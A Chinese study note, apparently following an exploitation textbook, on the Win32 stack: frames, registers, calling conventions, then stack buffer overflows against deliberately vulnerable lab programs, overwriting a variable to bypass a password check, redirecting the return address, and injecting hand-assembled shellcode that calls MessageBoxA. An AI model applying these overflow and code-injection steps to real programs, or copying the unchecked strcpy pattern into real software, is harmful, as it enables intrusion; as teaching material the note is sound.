系统栈的工作原理
内存的不同用途
进程使用的内存都可以按照功能大致分成以下 4 个部分。
1、代码区:这个区域存储着被装入执行的二进制机器代码,处理器会到这个区域取指并
执行。
2、数据区:用于存储全局变量等。
3、堆区:进程可以在堆区动态地请求一定大小的内存,并在用完之后归还给堆区。动态
分配和回收是堆区的特点。
4、栈区:用于动态地存储函数之间的调用关系,以保证被调用函数在返回时恢复到母函
数中继续执行。
可执行PE的代码在运行时会被装入内存的代码区,然后一条一条执行。代码中请求开辟动态内存,则会在内存的堆区分配一块大小合适的区域返回给代码区的代码使用;当函数调用发生时,函数的调用关系等信息会动态地保存在内存的栈区,以供处理器在执行完被调用函数的代码时,返回母函数。

书中的比喻很好:
1、CPU 是完成工作的工人。
2、数据区、堆区、栈区等则是用来存放原料、半成品、成品等各种东西的场所。
3、存在代码区的指令则告诉 CPU 要做什么,怎么做,到哪里去领原材料,用什么工具来做,做完以后把成品放到哪个货舱去。
4、值得一提的是,栈除了扮演存放原料、半成品的仓库之外,它还是车间调度主任的办公室。
栈与系统栈
栈的基础概念:
将栈想象成一副扑克牌。
PUSH:为栈增加一个元素的操作叫做 PUSH,相当于在这摞扑克牌的最上面再放上一张。
POP:从栈中取出一个元素的操作叫做 POP,相当于从这摞扑克牌取出最上面的一张。
TOP:标识栈顶位置,并且是动态变化的。每做一次 PUSH 操作,它都会自增 1;相反,每做一次 POP 操作,它会自减 1。栈顶元素相当于扑克牌最上面一张,只有这张牌的花色是当前可以看到的。
BASE:标识栈底位置,它记录着扑克牌最下面一张的位置。 BASE 用于防止栈空后继续弹栈(牌发完时就不能再去揭牌了)。很明显,一般情况下,BASE 是不会变动的。
函数调用发生了什么
//代码如果有问题,自己改改
int func_B(int arg_B1, int arg_B2)
{
int var_B1, var_B2;
var_B1=arg_B1+arg_B2;
var_B2=arg_B1-arg_B2;
return var_B1*var_B2;
}
int func_A(int arg_A1, int arg_A2)
{
int var_A;
var_A = func_B(arg_A1,arg_A2) + arg_A1 ;
return var_A;
}
int main(int argc, char **argv, char **envp)
{
int var_main;
var_main=func_A(4,3);
return var_main;
}
调用示意图如下:

栈变化示意图如下:

具体过程如下:
1、在 func_A 调用 func_B 的时候,同样先在自己的栈帧中压入函数返回地址,然后为func_B 创建新栈帧并压入系统栈。
2、在 func_B 返回时, func_B 的栈帧被弹出系统栈, func_A 栈帧中的返回地址被“露”在栈顶,此时处理器按照这个返回地址重新跳到 func_A 代码区中执行。
3、在 func_A 返回时, func_A 的栈帧被弹出系统栈, main 函数栈帧中的返回地址被“露”在栈顶,此时处理器按照这个返回地址跳到 main 函数代码区中执行。
寄存器与函数栈帧
每一个函数独占自己的栈帧空间。当前正在运行的函数的栈帧总是在栈顶。 Win32 系统提供两个特殊的寄存器用于标识位于系统栈顶端的栈帧。
1、ESP:栈指针寄存器(extended stack po inter),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。
2、EBP:基址指针寄存器(extended base pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部。
注意点:EBP 指向当前位于系统栈最上边一个栈帧的底部,而不是系统栈的底部。严格说来,“栈帧底部”和“栈底”是不同的概念

基础概念:
1、局部变量:为函数局部变量开辟的内存空间。
2、栈帧状态值:保存前栈帧的顶部和底部(实际上只保存前栈帧的底部,前栈帧的顶部可以通过堆栈平衡计算得到),用于在本帧被弹出后恢复出上一个栈帧。
3、函数返回地址:保存当前函数调用前的“断点”信息,也就是函数调用前的指令位置,以便在函数返回时能够恢复到函数被调用前的代码区中继续执行指令。
4、EIP:指令寄存器(Extended Instruction Pointer),其内存放着一个指针,该指针永远指向下一条等待执行的指令地址。
函数调用约定与相关指令

VC++支持的调用方式如下(实际上这里不完整,后续我写一篇完整的):

函数调用汇编代码如下(__stdcall)方式:
;调用前
push 参数 3 ;假设该函数有 3 个参数,将从右向左依次入栈
push 参数 2
push 参数 1
call 函数地址;call 指令将同时完成两项工作: a)向栈中压入当前指令在内存
;中的位置,即保存返回地址。 b)跳转到所调用函数的入口地址函
;数入口处
push ebp ;保存旧栈帧的底部
mov ebp, esp ;设置新栈帧的底部(栈帧切换)
sub esp, xxx ;设置新栈帧的顶部(抬高栈顶,为新栈帧开辟空间)
函数返回的步骤如下:
1、保存返回值:通常将函数的返回值保存在寄存器 EAX 中。
2、弹出当前栈帧,恢复上一个栈帧(平衡的顺序有区别)。
3、跳转:按照函数返回地址跳回母函数中继续执行。
这里这本书说的不好,不明白的自己去搜一下每种调用方式的区别。
修改邻接变量
修改邻接变量的原理
通过前面介绍,我们了解到函数的局部变量在栈中一个挨着一个排列。如果这些局部变量中有数组之类的缓冲区,并且程序中存在数组越界的缺陷,那么越界的数组元素就有可能破坏栈中相邻变量的值,甚至破坏栈帧中所保存的 EBP 值、返回地址等重要数据。
注意:大多数情况下,局部变量在栈中的分布是相邻的,但也有可能出于编译优化等需要而有所例外。具体情况我们需要在动态调试中具体对待。
#include <stdio.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[8];// add local buffto be overflowed
authenticated = strcmp(password,PASSWORD);
strcpy(buffer,password);//over flowed here!
return authenticated;
}
main()
{
int valid_flag=0;
char password[1024];
while(1)
{
printf("please input password: ");
scanf("%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!\n\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
break;
}
}
}
这里人为添加了两个缓冲区溢出点。
1、verify_password()函数中的局部变量 char buffer[8]的声明位置。
2、字符串比较之后的 strcpy(buffer,password)。
栈内存分布如下:

authenticated 为 int 类型, 在内存中是一个 DWORD,占 4 个字节。所以,如果能够让 buffer数组越界, buffer[8]、 buffer[9]、 buffer[10]、 buffer[11]将写入相邻的变量 authenticated 中。如果我们输入的密码超过了 7 个字符(注意:字符串截断符 NULL 将占用一个字节),则越界字符的 ASCII 码会修改掉 authenticated 的值。
突破密码验证程序
原理已经讲清楚了,下面就是实际操作。(样本通过前面代码编译,注意是debug版本不是release版本)
稍微写了一些注释,可以看到,在strcmp之前,authenticated的值为0xCCCCCCCC,
运行后看到我们输入的内容加上字符串结束符已经超过了8个字节,多出来最后一个字节为字符串结束符(0x00),将strcmp函数的返回值(authenticated)为0x0000 0001的最低字节覆盖了,也就变成了0x0000 0000。后续根据authenticated判断是否相等时,由于strcmp(const char stri1,const char str2)函数的功能:
如果返回值 < 0,则表示 str1 小于 str2。
如果返回值 > 0,则表示 str2 小于 str1。
如果返回值 = 0,则表示 str1 等于 str2。
authenticated的值已经被我们溢出覆盖为0x0000 0000,所以会被判定为相等。
这里用于溢出的值不必局限于qqqqqqqq,满足以下要求即可。
1、算上字符串结束符为 9 位!(用字符串结束符覆盖返回值)
2、输入字符串的前7个字符串大于“1234567”。(如果是小于1234567的话,strcmp返回值为-1,在内存表示为0xFFFF FFFF,无法通过结束符覆盖)
修改函数返回地址
返回地址与程序流程
正常输入“qqqqqqqq”的内存如下:
局部变量名 | 地址 | 偏移3 | 偏移2 | 偏移1 | 偏移0 |
---|---|---|---|---|---|
buffer[8] | 0x0012FB18 | 0x71 (‘q’) | 0x71 (‘q’) | 0x71 (‘q’) | 0x71 (‘q’) |
0x0012FB1C | NULL | 0x71 (‘q’) | 0x71 (‘q’) | 0x71 (‘q’) | |
authenticated | 0x0012FB20 | 0x00 | 0x00 | 0x00 | 0x01 |
前栈帧EBP | 0x0012FB24 | 0x00 | 0x12 | 0xFF | 0x80 |
返回地址 | 0x0012FB28 | 0x00 | 0x40 | 0x10 | 0xEB |
下面是一些结论:
1、输入 11 个‘ q’,第 9~11 个字符连同 NULL 结束符将 authenticated 冲刷为0x00717171。
2、输入 15 个‘ q’ ,第 9~12 个字符将 authenticated 冲刷为 0x71717171;第 13~15 个字符连同 NULL 结束符将前栈帧 EBP 冲刷为 0x00717171。
3、输入 19 个‘ q’ ,第 9~12 个字符将 authenticated 冲刷为 0x71717171;第 13~16 个字将前栈帧 EBP 冲刷为 0x71717171;第 17~19 个字符连同 NULL 结束符将返回地址冲刷为0x00717171。
当我们输入“4321432143214321432”就可以得出如下效果:
局部变量名 | 地址 | 偏移3 | 偏移2 | 偏移1 | 偏移0 |
---|---|---|---|---|---|
buffer[8] | 0x0012FB18 | 0x31 (‘1’) | 0x32 (‘2’) | 0x33 (‘3’) | 0x34 (‘4’) |
0x0012FB1C | 0x31 (‘1’) | 0x32 (‘2’) | 0x33 (‘3’) | 0x34 (‘4’) | |
authenticated | 0x0012FB20 | 0x31 (‘1’) | 0x32 (‘2’) | 0x33 (‘3’) | 0x34 (‘4’) |
前栈帧EBP | 0x0012FB24 | 0x31 (‘1’) | 0x32 (‘2’) | 0x33 (‘3’) | 0x34 (‘4’) |
返回地址 | 0x0012FB28 | 0x00 (NULL) | 0x32 (‘2’) | 0x33 (‘3’) | 0x34 (‘4’) |
后续程序便会由于返回地址错误执行报错。
控制程序的执行流程
用键盘输入字符的 ASCII 表示范围有限,很多值(如 0x11、 0x12 等符号)无法直接用键盘输入,所以我们把用于实验的代码稍作改动,将程序的输入由键盘改为从文件中读取字符串。(样本自行编译)
#include <stdio.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[8];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);//over flowed here!
return authenticated;
}
main()
{
int valid_flag=0;
char password[1024];
FILE * fp;
if(!(fp=fopen("password.txt","rw+")))
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
}
前置工作:
1、要摸清楚栈中的状况,如函数地址距离缓冲区的偏移量等。这虽然可以通过分析代码得到,但我还是推荐从动态调试中获得这些信息。
2、要得到程序中密码验证通过的指令地址,以便程序直接跳去这个分支执行。
3、要在 password.txt 文件的相应偏移处填上这个地址。这样 verify_password 函数返回后就会直接跳转到验证通过的正确分支去执行了。
用十六进制的编辑器把想写入但不能直接键入的ASCII字符写入 “password.txt” 文件。
构造 “password.txt” 原理示意图:

构建 “password.txt” 文件过程如下:
1、在样本同级目录下创建 “password.txt” ,并输入 “43214321432143214321” 。
2、用十六进制编辑器打开(WinHex等),将最后的返回地址的十六进制修改。

3、现在返回地址为0x00401122。
内存中的值如下:
局部变量名 | 地址 | 偏移3 | 偏移2 | 偏移1 | 偏移0 |
---|---|---|---|---|---|
buffer[8] | 0x0012FB18 | 0x31 (‘1’) | 0x32 (‘2’) | 0x33 (‘3’) | 0x34 (‘4’) |
0x0012FB1C | 0x31 (‘1’) | 0x32 (‘2’) | 0x33 (‘3’) | 0x34 (‘4’) | |
authenticated | 0x0012FB20 | 0x31 (‘1’) | 0x32 (‘2’) | 0x33 (‘3’) | 0x34 (‘4’) |
前栈帧EBP | 0x0012FB24 | 0x31 (‘1’) | 0x32 (‘2’) | 0x33 (‘3’) | 0x34 (‘4’) |
返回地址 | 0x0012FB28 | 0x00 (NULL) | 0x40 | 0x11 | 0x22 |
这里的还是会运行错误,因为地址无效。
代码植入
代码植入的原理
代码植入的原理:

在buffer里包含想要执行的代码,然后通过返回地址让程序跳转到系统栈里执行,就可以让进程去执行本来没有的代码。
向进程中植入代码
样本代码如下,自行编译。
#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[44];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);//over flowed here!
return authenticated;
}
main()
{
int valid_flag=0;
char password[1024];
FILE * fp;
LoadLibrary("user32.dll");//prepare for messagebox
if(!(fp=fopen("password.txt","rw+")))
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
}
代码相较于前面的代码有 3 处不同。
1、增加了头文件 windows.h,以便程序能够顺利调用 LoadLibrary 函数去装载 user32.dll。
2、verify_password 函数的局部变量 buffer 由 8 字节增加到 44 字节,这样做是为了有足够的空间来 “承载” 植入的代码。
3、main函数中增加了 LoadLibrary("user32.dll") 用于初始化装载 user32.dll,以便在植入代码中调用 MessageBox。
前置工作:
1、分析并调试漏洞程序,获得淹没返回地址的偏移。
2、获得 buffer 的起始地址,并将其写入 password.txt 的相应偏移处,用来冲刷返回地址。
3、向 password.txt 中写入可执行的机器代码,用来调用 API 弹出一个消息框。
根据前面,不难得出结论:
1、如果输入44个字节,第45个字节为结束符,将会溢出至authenticated中。
2、如果输入48个字节,则会覆盖authenticated;如果输入52个字节,则会覆盖前栈帧EBP;如果输入56个字节,则会覆盖返回地址。
下面开始操作:
创建 “password.txt”。并输入11个 “4321”.
动态调试,观察 authenticated 是否被覆盖。

strcpy运行前

strcpy运行后栈结果
可以看到,authenticated 被覆盖了。从这次动态分析得到如下结论:
1、buffer 数组的起始地址为 0x0019FAA0。
2、password.txt 文件中第 53~56 个字符的 ASCII 码值将写入栈帧中的返回地址,成为函数返回后执行的指令地址。
接下来就是将 “password.txt” 中植入指令。下面是有关MessageBox的介绍。
int MessageBox(
HWND , // 消息框所属窗口的句柄,如为 NULL,则不属于任何窗口口
LPCTSTR , // 字符串指针,所指字符串会在消息框中显示
LPCTSTR , // 字符串指针,所指字符串将成为消息框的标题
UINT // 消息框的风格(单按钮、多按钮等), NULL 代表默认风格
);
后续调用这个 API 的汇编代码,然后翻译成机器代码,用十六进制编辑工具填入 password.txt 文件。其实系统中并不存在真正的 MessagBox 函数,对 MessageBox 这类 API 的调用最终都将由系统按照参数中字符串的类型选择“A”类函数(ASCII)或者“W”类函数(UNICODE)调用。这里调用的是MessageBoxA。调用过程如下:
1、装载动态链接库 user32.dll。 MessageBoxA 是动态链接库 user32.dll 的导出函数。虽然大多数有图形化操作界面的程序都已经装载了这个库,但是我们用来实验的 consol 版并没有默认加载它。
2、在汇编语言中调用这个函数需要获得这个函数的入口地址。
3、在调用前需要向栈中按从右向左的顺序压入 MessageBoxA 的 4 个参数。
接下来是详细操作:
1、用PE查看工具(这里用的是DIE)查看 user32.dll 头部信息,在可选头中找到 ImageBase ,然后在导出表中找打MessageBoxA的相对偏移地址。然后相加获得内存地址

ImageBase地址

MessageBoxA的RVA

偏移地址
2、新建 “password.txt” ,然后输入14个 “4321” ,实现溢出效果。然后用二进制编辑器(WinHex等)打开,按照如下内容输入十六进制。
机器代码(十六进制) | 汇编指令 | 注释 |
---|---|---|
33 DB | xor ebx,ebx | ebx 赋值 0 |
53 | push ebx | 压入ebx,作为字符串的阶段符 |
68 77 65 73 74 | push 74736577 | 字符串 |
68 66 61 69 6C | push 6C696166 | 字符串 |
8B C4 | mov eax,esp | eax是字符串指针 |
53 | push ebx | 参数4:0 |
50 | push eax | 参数3:“failwest” |
50 | push eax | 参数2:“failwest” |
53 | push ebx | 参数1:0 |
B8 EA 04 D8 77 | mov eax,0x77D804EA | 这里注意,要把地址换成你算出来的偏移地址!! 还要注意输入的时候是小端存储!! |
FF D0 | call eax | 调用MessAgeBoxA |
3、开始运行调试,但是没有弹窗显示。经过研究,应该是 Windows 基址重定位 导致的原因,通过x64Dbg工具可以看到重定位后的地址,加上前面MessageBoxA偏移量,计算出新地址。

重定位地址

新地址
4、重新调试,成功!

成功